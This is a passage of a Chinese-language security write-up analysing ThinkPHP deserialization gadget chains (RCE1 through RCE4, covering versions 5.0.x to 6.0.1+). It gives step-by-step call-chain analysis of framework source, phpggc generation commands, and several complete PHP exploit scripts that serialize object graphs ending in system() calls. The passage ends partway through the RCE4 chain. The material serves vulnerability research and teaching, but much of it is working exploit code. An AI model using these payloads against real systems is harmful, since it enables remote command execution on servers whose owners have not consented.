* @throws InvalidArgumentException
*/
public function getAttr($name, &$item = null)
{
try {
// [...]
$value = $this->getData($name); // 取出 $this->data[$name]
} catch (InvalidArgumentException $e) {
// [...]
}

// 检测属性获取器
$fieldName = Loader::parseName($name); // 驼峰转下划线
// [...]

if (isset($this->withAttr[$fieldName])) {
// [...]
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data); // 🚨 可控闭包调用点
}
// [...]
}

参数 $value 来自于 $this->getData($name)Attribute::getData 会返回 $this->data[$name] 的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* 获取对象原始数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name]; // 👈
}
// [...]
}

函数 $closure 来自于 $this->withAttr[$fieldName],而 $fieldName 来自于 Loader::parseName($name)

函数 Loader::parseName() 是 ThinkPHP 中常见的 命名风格转换工具函数,用于在不同命名风格之间进行转换。因为参数 $type 没有设置,因此该函数按照默认的 $type = 0 将字符串从驼峰转换为下划线。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* 字符串命名风格转换
* type 0 将Java风格转换为C的风格 1 将C风格转换为Java的风格
* @access public
* @param string $name 字符串
* @param integer $type 转换类型
* @param bool $ucfirst 首字母是否大写(驼峰规则)
* @return string
*/
public static function parseName($name, $type = 0, $ucfirst = true)
{
// [...]
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

也就是说 $closure$value 都是我们可控的,因此我们可以调用 system 函数执行命令。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

namespace think {
class Model
{
private $data, $withAttr;

public function __construct($cmd)
{
$this->data = ['smi1e' => $cmd];
$this->withAttr = ['smi1e' => 'system'];
}
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{
public function __construct($cmd)
{
parent::__construct($cmd);
}
}
}

namespace think\process\pipes {

use think\model\Pivot;

class Windows
{
private $files;

public function __construct($cmd)
{
$this->files = [new Pivot($cmd)];
}
}
}

namespace {
$payload = new think\process\pipes\Windows("calc");
echo urlencode(serialize($payload));
}

RCE2(影响 5.0.x)

基本信息

  • 影响范围 :5.0.24,其他 5.0.x 的版本也可以适用。

  • 生成命令

    1
    phpggc ThinkPHP/RCE2 system id -b -u
  • 反序列化对象

    TPRCE2

  • 反序列化调用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    think\process\pipes\Windows->__destruct()
    └── removeFiles()
    └── foreach ($this->files as $filename)
    └── file_exists($filename) // ✅ 触发 __toString()

    think\model\Pivot->__toString() // 从 Model 抽象类继承
    └── toJson()
    └── toArray()
    └── foreach ($this->append as $name) // ✅ 构造 $this->append = ['getError']
    └── method_exists($this, $name) // ✅ getError 存在
    └── $modelRelation = $this->$name() // ✅ 返回 HasOne 对象
    └── $value = $this->getRelationData($modelRelation)
    └── $this->parent !== null // ✅ Pivot->parent = Output
    └── !$modelRelation->isSelfRelation() // ✅ HasOne->selfRelation = false
    └── get_class($modelRelation->getModel()) == get_class($this->parent)
    └── return $this->parent // ✅ 返回 Output 对象
    └── $bindAttr = $modelRelation->getBindAttr() // ✅ 返回 ['no']
    └── foreach ($bindAttr as $attr)
    └── $value->getAttr($attr) // ✅ Output 没有 getAttr,进入 __call()

    think\console\Output->__call("getAttr", ["no"])
    └── if (in_array($method, $this->styles)) // ✅ 构造 $this->styles = ['getAttr']
    └── array_unshift($args, $method) // ✅ $args = ['getAttr', 'no']
    └── call_user_func_array([$this, 'block'], ['getAttr', 'no'])
    └── block("getAttr", "no")
    └── writeln("<getAttr>no</getAttr>")
    └── write("<getAttr>no</getAttr>", true, 0)
    └── $this->handle->write("<getAttr>no</getAttr>", true, 0) // ✅ $this->handle 为 Memcached

    think\session\driver\Memcached->write($sessID, $sessData, $expire)
    └── $sessID = "<getAttr>no</getAttr>", $sessData = true, $expire = 3600
    └── $this->handler->set("HEXENS" . $sessID, $sessData, $expire)
    set("HEXENS<getAttr>no</getAttr>", true, 3600)

    think\cache\driver\Memcache->set("HEXENS<getAttr>no</getAttr>", true, 3600)
    └── if (is_null($expire)) → false // ✅ $expire = 3600,不为空
    └── if ($expire instanceof \DateTime) → false // ✅ $expire 是整数,不是对象
    └── if ($this->tag && !$this->has($name)) // ✅ $this->tag = true,执行 $this->has()
    └── $this->has("HEXENS<getAttr>no</getAttr>")
    └── $key = $this->getCacheKey($name)
    $key = "HEXENS<getAttr>no</getAttr>"
    └── $key = $this->getCacheKey($name)
    └── $key = $this->options['prefix'] . $name // ✅ 默认 $this->options['prefix'] = ''
    └── $key = "HEXENS<getAttr>no</getAttr>" // ✅ 保持键名原样不变
    └── $this->handler->get($key) // ✅ handler 是 think\Request 对象

    think\Request->get("HEXENS<getAttr>no</getAttr>")
    └── input($this->get, $name = "HEXENS<getAttr>no</getAttr>", $default = null, $filter = '')
    └── strpos($name, '/') → true
    └── list($name, $type) = explode('/', $name)
    └── $name = "HEXENS<getAttr>no<" // ✅ '/' 被当作类型分隔符,保留 '<'
    └── $type = "getAttr>"
    └── foreach (explode('.', $name)) // ✅ 无 '.',单段字段
    └── $val = "HEXENS<getAttr>no<"
    └── $data = $this->get[$val] // ✅ 命中键名,取出 'calc'
    └── $value = 'calc'
    └── getFilter($filter = '', $default = null)
    └── $filter = $filter ?: $this->filter = 'system' // ✅ 设置默认过滤器
    └── explode(',', $filter) → ['system'] // ✅ 生成过滤器函数名数组
    └── $filter[] = $default = null // ✅ 最终 filters = ['system', null]
    └── $filters = ['system', null]
    └── filterValue($value = 'calc', $key = 'HEXENS<getAttr>no<', $filters)
    └── $default = array_pop($filters) → null // ✅ 弹出 null,剩 ['system']
    └── foreach ($filters as $filter)
    └── is_callable($filter) = true
    └── call_user_func($filter = 'system', $value = 'calc') // ✅ 命令执行点

调用链分析

首先调用链前半部分与 RCE1 相同,只不过 5.0.x 版本的 ThinkPHP 的没有 think\model\concern\Conversionthink\model\concern\Attribute 这两个 trait,也就是说 think\model\Pivot__toString 等方法都是通过继承抽象类 Model 获得的。

因此调用链为:

1
2
3
4
5
6
7
think\process\pipes\Windows->__destruct()
└── think\process\pipes\Windows->removeFiles()
└── file_exists()
└── think\model\Pivot->__toString()
└── think\model\Pivot->toJson()
└── think\model\Pivot->toArray()
└── think\console\Output->getAttr()

think\model\Pivot->toArray 方法在 5.0.x 的实现和前面的 5.1.x 不同,并且绕过过程比较复杂。这个函数最终执行的效果就是调用到 think\console\Output->getAttr 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

// $this->data 和 $this->relation 均为空,因此 $data 也为空
$data = array_merge($this->data, $this->relation);

// 过滤属性
// 属性过滤($this->visible 和 $this->hidden 都为空,因此不进入任何过滤分支)
if (!empty($this->visible)) {
// [...]
} elseif (!empty($this->hidden)) {
// [...]
}

// 遍历 $data 构建属性项(但 $data 为空,不进入循环)
foreach ($data as $key => $val) {
// [...]
}

// 追加属性(必须定义获取器)
// $this->append = ['getError']
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
// $this->append 的唯一一项的值为 "getError" 字符串
// 即 $name = "getError",进入常规字符串分支(不是数组,也不包含点号)
if (is_array($name)) {
// [...]
} elseif (strpos($name, '.')) {
// [...]
} else {
// 统一为小驼峰(如 'getError' => 'getError',无变化)
$relation = Loader::parseName($name, 1, false);

// think\model\Pivot 继承了 Model 的 getError 方法,因此进入 if
if (method_exists($this, $relation)) {
// 调用 $this->getError 函数得到 $this->error
// 这里是一个 think\model\relation\HasOne 对象
$modelRelation = $this->$relation();

// 通过精确伪造 HasOne 和 Pivot 对象结构,使 getRelationData()
// 返回 $this->parent,即 think\console\Output 对象(为后续 __call 铺路)
$value = $this->getRelationData($modelRelation);

// HasOne 对象存在 getBindAttr 方法,进入 if
if (method_exists($modelRelation, 'getBindAttr')) {
// 调用 getBindAttr 方法返回 $modelRelation->bindAttr
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;

// $this->data 为空,进入 else 分支
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
// 在这里调用到 $value->getAttr 方法
// $value 是 think\console\Output 对象,没有 getAttr 方法
// 因此会调用到 think\console\Output->__Call 方法
// 传入的参数 $attr 是 $bindAttr 数组中的值,即 "no" 字符串
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

其中 ModelgetRelationData 方法可以通过构造 Pivot 对象使其返回可控的 Pivot->parent 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 获取关联模型数据
* @access public
* @param Relation $modelRelation 模型关联对象
* @return mixed
* @throws BadMethodCallException
*/
protected function getRelationData(Relation $modelRelation)
{
// 参数 $modelRelation 即 $this->error
if ($this->parent && // $this->parent 指向 Output 对象,不为空
// $this->error 指向的 HasOne 的 selfRelation 为 false
!$modelRelation->isSelfRelation() &&
// $this->error->query->model 指向 Output 对象
// 与 $this->parent 指向的对象的类相同
get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent; // 返回 $this->parent
} else {
// [...]
}
return $value;
}

通过伪造 ``Pivot->parent指向的think\console\Output 对象(styles设置为[“getAttr”]),的 Output->__call方法可以形成如下调用链,最终会调用到$this->handle->write` 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// method = "getAttr", $args = ["no"]
public function __call($method, $args)
{
// $this 即 Pivot->parent (Output 对象) 的 styles 数组可控,这里设置为 ["getAttr"]
// $method 是前面调用的不存在的方法 "getAttr"
// 因此进入 if 判断
if (in_array($method, $this->styles)) {
// 将 $method 插入到 $args 数组第一项, 即 $args = ["getAttr", "no"]
array_unshift($args, $method);
//调用 $this->block 方法,参数是 ["getAttr", "no"]
return call_user_func_array([$this, 'block'], $args);
}

// [...]
}

// $style = "getAttr", $message = "no"
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

/**
* 输出信息并换行
* @param string $messages = "<getAttr>no</getAttr>"
* @param int $type = self::OUTPUT_NORMAL(0)
*/
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

/**
* 输出信息
* @param string $messages = "<getAttr>no</getAttr>"
* @param bool $newline = true
* @param int $type = self::OUTPUT_NORMAL(0)
*/
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

其中 $this->handle 被设置为 think\session\driver\Memcached 对象。而 Memcached->write 函数实现如下。其中 Memcached->handler 被设置为 think\cache\driver\Memcache 对象,因此会调用到 该对象的 set 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
config = [
"session_name" => "HEXENS"
"expire" => 3600
]

/**
* 写入Session
* @access public
* @param string $sessID = "<getAttr>no</getAttr>"
* @param String $sessData = true
* @return bool
*/
public function write($sessID, $sessData)
{
// 参数为 "HEXENS<getAttr>no</getAttr>", true, 3600
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

think\cache\driver\Memcache 对象中有如下调用链,最终调用到 think\Request->get 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* 写入缓存
* @access public
* @param string $name 缓存变量名 = "HEXENS<getAttr>no</getAttr>"
* @param mixed $value 存储数据 = true
* @param integer|\DateTime $expire 有效时间(秒)= 3600
* @return bool
*/
public function set($name, $value, $expire = null)
{
// $expire 不为空,不进入判断
if (is_null($expire)) {
// [...]
}

// $expire 是数字不是 DateTime 的实例,不进入判断
if ($expire instanceof \DateTime) {
// [...]
}

if ($this->tag && // $this->tag 设置为 true
!$this->has($name)) { // 调用到 $this->has,参数为 "HEXENS<getAttr>no</getAttr>"
$first = true;
}

// [...]
}

/**
* 判断缓存
* @access public
* @param string $name 缓存变量名 = "HEXENS<getAttr>no</getAttr>"
* @return bool
*/
public function has($name)
{
// $this->getCacheKey 返回 $this->options['prefix'] . $name
// 其中 $this->options['prefix'] 被设置为 ""
// 因此 $key = $name = "HEXENS<getAttr>no</getAttr>"
$key = $this->getCacheKey($name);

// $this->handler 被设置为 think\Request
// 因此会调用 Request->get 方法,参数为 $key = "HEXENS<getAttr>no</getAttr>"
return false !== $this->handler->get($key);
}

think\Request->get 函数进一步会调用 think\Request->input 函数,并传入 $this->get = ['HEXENS<getAttr>no<' => 'calc'] 参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 设置获取GET参数
* @access public
* @param string|array $name 变量名 = "HEXENS<getAttr>no</getAttr>"
* @param mixed $default 默认值 = null
* @param string|array $filter 过滤方法 = ""
* @return mixed
*/
public function get($name = '', $default = null, $filter = '')
{
// $this->get = ['HEXENS<getAttr>no<' => 'calc'],非空不进入判断
if (empty($this->get)) {
// [...]
}

// $name 是字符串不是数组,不进入判断
if (is_array($name)) {
// [...]
}

return $this->input($this->get, $name, $default, $filter);
}

think\Request->input 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
protected function getFilter($filter, $default)
{
// is_null 判断 $filter === null
// 由于 $filter = '',因此进入 else 分支
if (is_null($filter)) {
$filter = [];
} else {
// $filter 为空字符串,因此设置 $filter = $this->filter = "system"
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
// [...]
}
}

// 在 $filter 末尾追加一个 $defatlt(null)
// 此时 $filter = ['system', null]
$filter[] = $default;
return $filter;
}

/**
* 获取变量 支持过滤和默认值
* @param array $data 数据源 = ['HEXENS<getAttr>no<' => 'calc']
* @param string|false $name 字段名 = "HEXENS<getAttr>no</getAttr>"
* @param mixed $default 默认值 = null
* @param string|array $filter 过滤函数 = ""
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// [...]
}
$name = (string) $name;
if ('' != $name) {
// 解析 $name = "HEXENS<getAttr>no</getAttr>"
if (strpos($name, '/')) {
// 按 '/' 分割 $name 字符串
// $name = "HEXENS<getAttr>no<"
// $type = "getAttr>"
list($name, $type) = explode('/', $name);
} else {
// [...]
}
// 将 $name 按 . 拆分成多维数组进行判断
// 这里只拆出一项 "HEXENS<getAttr>no<"
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
// 从 $data 中取出要执行的命令赋值给 $data
// $data = ['HEXENS<getAttr>no<' => 'calc']['HEXENS<getAttr>no<'] = 'calc'
$data = $data[$val];
} else {
// [...]
}
}

// $data 是字符串不是对象,因此不进入判断
if (is_object($data)) {
// [...]
}
}

// 解析过滤器
// 这里因为 $fileter = "" 且 $default = null
// 因此在 getFilter 函数经过一系列判断之后返回 [$this->fileter, null]
// 即 ["system", null]
$filter = $this->getFilter($filter, $default);

// $data 是要执行的命令字符串,不是数组
// 因此进入 else 分支调用 filterValue 函数。
if (is_array($data)) {
// [...]
} else {
$this->filterValue($data, $name, $filter);
}

// [...]
}

think\Request->filterValue 函数先是从 $filters 中移除最后一项 null,之后遍历 $filters 数组依次调用里面的函数并且参数为 $value。由于函数和参数都可控,因此我们可以调用 system 函数执行任意命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 递归过滤给定的值
* @param mixed $value 键值 = 'calc'
* @param mixed $key 键名 = 'HEXENS<getAttr>no<'
* @param array $filters 过滤方法+默认值 = ['system', null]
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
// 将 $filter 数组中的最后一项 null 取出
// 此时 $filter 数组还剩一项 "system"
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用 $filter 中的唯一一项函数 "system"
// 参数是 $value 即我们要执行的命令 "calc"
$value = call_user_func($filter, $value);
}
// [...]
}
// [...]
}

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
<?php

namespace think\session\driver {

use think\cache\driver\Memcache;

class Memcached
{
protected $handler, $config;

function __construct($function, $parameter)
{
$this->handler = new Memcache($function, $parameter);
$this->config = [
'expire' => 3600,
'session_name' => 'HEXENS',
];
}
}
}

namespace think\console {

use think\session\driver\Memcached;

class Output
{
private $handle;
protected $styles;


function __construct($function, $parameter)
{
$this->handle = new Memcached($function, $parameter);
$this->styles = ['getAttr'];
}
}
}

namespace think {
class Request
{
protected $get, $filter;

function __construct($function, $parameter)
{
$this->get = ["HEXENS<getAttr>no<" => $parameter];
$this->filter = $function;
}
}
}

namespace think\cache\driver {

use think\Request;

class Memcache
{
protected $options, $handler, $tag;

function __construct($function, $parameter)
{
$this->handler = new Request($function, $parameter);
$this->options = ['prefix' => ''];
$this->tag = true;
}
}
}


namespace think\db {

use think\console\Output;

class Query
{
protected $model;

function __construct()
{
$this->model = (new \ReflectionClass(Output::class))->newInstanceWithoutConstructor();
}
}
}

namespace think\model\relation {

use think\db\Query;

class HasOne
{
protected $selfRelation, $query, $bindAttr;

function __construct()
{
$this->bindAttr = ["no"];
$this->selfRelation = false;
$this->query = new Query();
}
}
}

namespace think {

use think\model\relation\HasOne;
use think\console\Output;

abstract class Model
{
protected $append, $error, $parent;

function __construct($function, $parameter)
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output($function, $parameter);
}
}
}

namespace think\model {

use think\Model;

class Pivot extends Model
{
}
}

namespace think\process\pipes {

use think\model\Pivot;

class Windows
{
private $files;

function __construct($function, $parameter)
{
$this->files = [new Pivot($function, $parameter)];
}
}
}


namespace {
$payload = new \think\process\pipes\Windows("system", "calc");
echo urlencode(serialize($payload)) . "\n";
}

RCE3(影响 6.0.1+)

基本信息

  • 影响范围 :6.0.1+

  • 生成命令

    1
    phpggc ThinkPHP/RCE3 system id -b -u
  • 反序列化对象

    TPRCE3

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    League\Flysystem\Cached\Storage\Psr6Cache Object
    (
    [pool:League\Flysystem\Cached\Storage\Psr6Cache:private] => League\Flysystem\Directory Object
    (
    [filesystem:protected] => League\Flysystem\Directory Object
    (
    [filesystem:protected] => think\Validate Object
    (
    [type:protected] => Array
    (
    [key] => system
    )

    )

    [path:protected] => calc
    )

    [path:protected] => key
    )

    [autosave:protected] =>
    [key:protected] => Array
    (
    )

    )
  • 反序列化调用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    League\Flysystem\Cached\Storage\Psr6Cache->__destruct()
    └── save()
    └── $this->pool->getItem($this->key) // ✅ $this->pool = Directory1,无 getItem 方法
    └── Directory->__call("getItem", [$this->key]) // ✅ 第一次 __call

    League\Flysystem\Directory->__call("getItem", [$this->key])
    └── array_unshift($arguments, $this->path) // ✅ $arguments = [$path1, $key]
    └── call_user_func_array([$this->filesystem, "getItem"], [$path1, $key])
    └── Directory->__call("getItem", [$path1, $key]) // ✅ 第二次 __call(filesystem = Directory2)

    League\Flysystem\Directory->__call("getItem", [$path1, $key])
    └── array_unshift($arguments, $this->path) // ✅ $arguments = [$path2, $path1, $key]
    └── call_user_func_array([$this->filesystem, "getItem"], [$path2, $path1, $key])
    └── think\Validate->__call("getItem", [$path2, $path1, $key])

    think\Validate->__call("getItem", [$path2, $path1, $key])
    └── array_push($args, 'getItem') // ✅ $args = [$path2, $path1, $key, 'getItem']
    └── call_user_func_array([$this, 'is'], [$path2, $path1, $key, 'getItem'])

    think\Validate->is($value = $path2, $rule = $path1, $data = $key)
    └── $data 类型必须为 array // ✅ 否则触发 TypeError
    └── switch (Str::camel($rule)) → default
    └── isset($this->type[$rule]) → true // ✅ $this->type[$path1] = 'system'
    └── call_user_func_array($this->type[$rule], [$value]) // ✅ system($path2)

调用链分析

League\Flysystem\Cached\Storage\Psr6Cache 类继承于 League\Flysystem\Cached\Storage\AbstractCache,因此析构的时候调用的是 AbstractCache->__destruct 函数。

在该 __destruct 函数中,如果 AbstractCache$autosave 属性值为 false,则会调用到 Psr6Cache->save 函数。

1
2
3
4
5
6
7
8
9
/**
* Destructor.
*/
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}

Psr6Cache->save 函数会调用 $this->poolgetItem 方法,参数为 $this->key

1
2
3
4
5
6
7
8
/**
* {@inheritdoc}
*/
public function save()
{
$item = $this->pool->getItem($this->key);
// [...]
}

由于我们设置 $this->poolLeague\Flysystem\Directory 对象,该对象没有 getItem 方法,因此会调用到 Directory 实现的抽象类 League\Flysystem\Handler__call 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* Plugins pass-through.
*
* @param string $method = "getItem"
* @param array $arguments = Psr6Cache->key
*
* @return mixed
*/
public function __call($method, array $arguments)
{
// 将 $this->path 插入到 $arguments 数组头部
array_unshift($arguments, $this->path);

// 构造一个回调,用于调用 $this->filesystem 的 $method 方法
$callback = [$this->filesystem, $method];

try {
// 调用构造的回调,并传入 $arguments 数组
// 也就是 [Directory->path, Psr6Cache->key]
return call_user_func_array($callback, $arguments);
} catch (BadMethodCallException $e) {
// [...]
}
}

这个函数主要功能是在 $this 自身没有 $method 方法的情况下调用 $this->filesystem$method 方法,而参数方面则在原始参数的基础上将 $this->path 插到第一个参数上,也就是 [Directory->path, Psr6Cache->key]

由于 $this->filesystem 是我们可控的,因此我们可以调用任意对象的 getItem(或者是 __call)方法,并且有两个可控参数

在 ThinkPHP 中有另一个 think\Validate 类,这个类的 __call 方法会调用类的 is 方法,同时参数传入原本的参数经过转换后(按照小驼峰规则去掉 is 前缀)的方法名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 动态方法 直接调用is方法进行验证
* @access public
* @param string $method 方法名
* @param array $args 调用参数
* @return bool
*/
public function __call($method, $args)
{
// 判断方法名 $method 是否以 "is" 开头(不区分大小写)
if ('is' == strtolower(substr($method, 0, 2))) {
// 去掉方法名 $method 中的 "is" 前缀,例如 isEmail -> Email
$method = substr($method, 2);
}

// 将方法名 $method 首字母小写后,作为验证规则添加到参数数组 $args 末尾
array_push($args, lcfirst($method));

// 调用本类中的 is() 方法,并传递参数(原本参数 $args + $method)
return call_user_func_array([$this, 'is'], $args);
}

而对于 think\Validate 类的 is 方法,如果前面的 call_user_func_array 的参数 $args 满足下面两个条件:

  • 第 2 个参数转换为小驼峰后不是 require, accepted, date, activeUrlboolean, bool, number, alphaNumarray, file, image, token 中的任意一个。

  • 第 3 个参数类型为数组。因为如果 $args 中的第三个参数不是数组类型,会出现 PHP 类型错误(TypeError)

    PHP 是弱类型语言,但从 PHP 7.0 起引入了“严格类型”提示机制(严格参数类型声明)。这里的 array $data 就是 参数类型强约束(type hinting),不是“弱类型”的行为。

就可以调用 $this->type[$rule] 指定的方法,并传入参数 $value。这里 $rule$value 分别是前面 __call 传入的第 1、2 个参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 验证字段值是否为有效格式
* @access public
* @param mixed $value 字段值
* @param string $rule 验证规则
* @param array $data 数据
* @return bool
*/
public function is($value, string $rule, array $data = []): bool
{
// 将 $rule 下划线转小驼峰然后判断处理
switch (Str::camel($rule)) {
// 确保不要进入下面其他几种分支:
// require, accepted, date, activeUrl
// boolean, bool, number, alphaNum
// array, file, image, token

// [...]

default:
if (isset($this->type[$rule])) {
// 调用 $this->type[$rule] 方法,参数为 $value 即第一个参数
$result = call_user_func_array($this->type[$rule], [$value]);
}
// [...]
}

return $result;
}

因此我们不难想到利用前面 Directory__call 方法的 call_user_func_array 调用 Validate 类的 __call 方法来实现 RCE。

然而虽然 Validate 类没有 getItem 因此可以调到 __call 函数,但是 Validate 需要我们有 3 个参数可控,而我们利用 Directory__call 方法调用过来只有 2 个参数可控,不满足利用条件。

不过我们观察到 Directory__call 方法在调用 call_user_func_array 之前会向参数列表的头部插入一个 $this->path ,因此我们可以再调用一次 Directory__call 方法确保参数数组中有 3 个值可控,然后再调用 Validate 类的 __call 方法来实现 RCE。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

namespace think {
class Validate
{
protected $type;

function __construct($function)
{
$this->type = ["key" => $function];
}
}
}

namespace League\Flysystem {
class Directory
{
protected $filesystem;
protected $path;

function __construct($id, $function, $parameter)
{
if ($id == 0) {
$this->filesystem = new \League\Flysystem\Directory(1, $function, $parameter);
$this->path = "key";
} else {
$this->filesystem = new \think\Validate($function);
$this->path = $parameter;
}
}
}
}

namespace League\Flysystem\Cached\Storage {
class Psr6Cache
{
private $pool;
protected $autosave;
protected $key;

function __construct($function, $parameter)
{
$this->autosave = false;
$this->pool = new \League\Flysystem\Directory(0, $function, $parameter);
$this->key = [];
}
}
}

namespace {
$payload = new \League\Flysystem\Cached\Storage\Psr6Cache("system", "calc");
echo urlencode(serialize($payload));
}

RCE4(影响 6.0.1+)

基本信息

  • 影响范围 :6.0.1+

  • 生成命令

    1
    phpggc ThinkPHP/RCE4 system id -b -u
  • 反序列化对象

    TPRCE4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    think\model\Pivot Object
    (
    [exists:think\Model:private] => 1
    [force:think\Model:private] => 1
    [lazySave:think\Model:private] => 1
    [data:think\Model:private] => Array
    (
    [0] => 0
    )

    [suffix:protected] => think\model\Pivot Object
    (
    [data:think\Model:private] => Array
    (
    [key] => Array
    (
    [key] => calc
    )

    )

    [withAttr:think\Model:private] => Array
    (
    [key] => Array
    (
    [key] => system
    )

    )

    [json:protected] => Array
    (
    [0] => key
    )

    [jsonAssoc:protected] => 1
    )

    [withEvent:protected] =>
    )
  • 反序列化调用链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    think\model\Pivot->__destruct()
    └── if ($this->lazySave) // ✅ $this->lazySave = true,进入判断
    └── save(array $data = [], string $sequence = null): bool
    └── $this->setAttrs([]) // ✅ 空数组,无属性被设置
    └── if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) // ✅ $this->data 非空;$this->withEvent = false → trigger 返回 true,不进入
    └── if ($this->exists) // ✅ $this->exists = true,进入分支
    └── updateData(): bool
    └── if (false === $this->trigger('BeforeUpdate')) // ✅ $this->withEvent = false → trigger 返回 true,不进入
    └── $this->checkData() // ✅ 空实现,无操作
    └── getChangedData(): array // ✅ 返回的 $data 必须是 array 类型的
    └── if ($this->force) // ✅ $this->force = true
    └── $data = $this->data // ✅ $this->data = ['key' => ['key' => 'calc']]
    └── foreach ($this->readonly as $key => $field) // ✅ $this->readonly = [],不进入循环
    └── return $data
    └── if (empty($data)) // ✅ $data 非空,不进入
    └── if ($this->autoWriteTimestamp && $this->updateTime) // ✅ autoWriteTimestamp = null,不进入
    └── checkAllowFields(): array
    └── if (empty($this->field)) // ✅ field = null,进入
    └── if (!empty($this->schema)) // ✅ schema = null,不进入
    └── $query = $this->db(array $scope = [])
    └── $query = self::$db->connect($this->connection)
    └── $query->name($this->name . $this->suffix) // ✅ $this->name 为 Pivot 对象,触发 __toString()

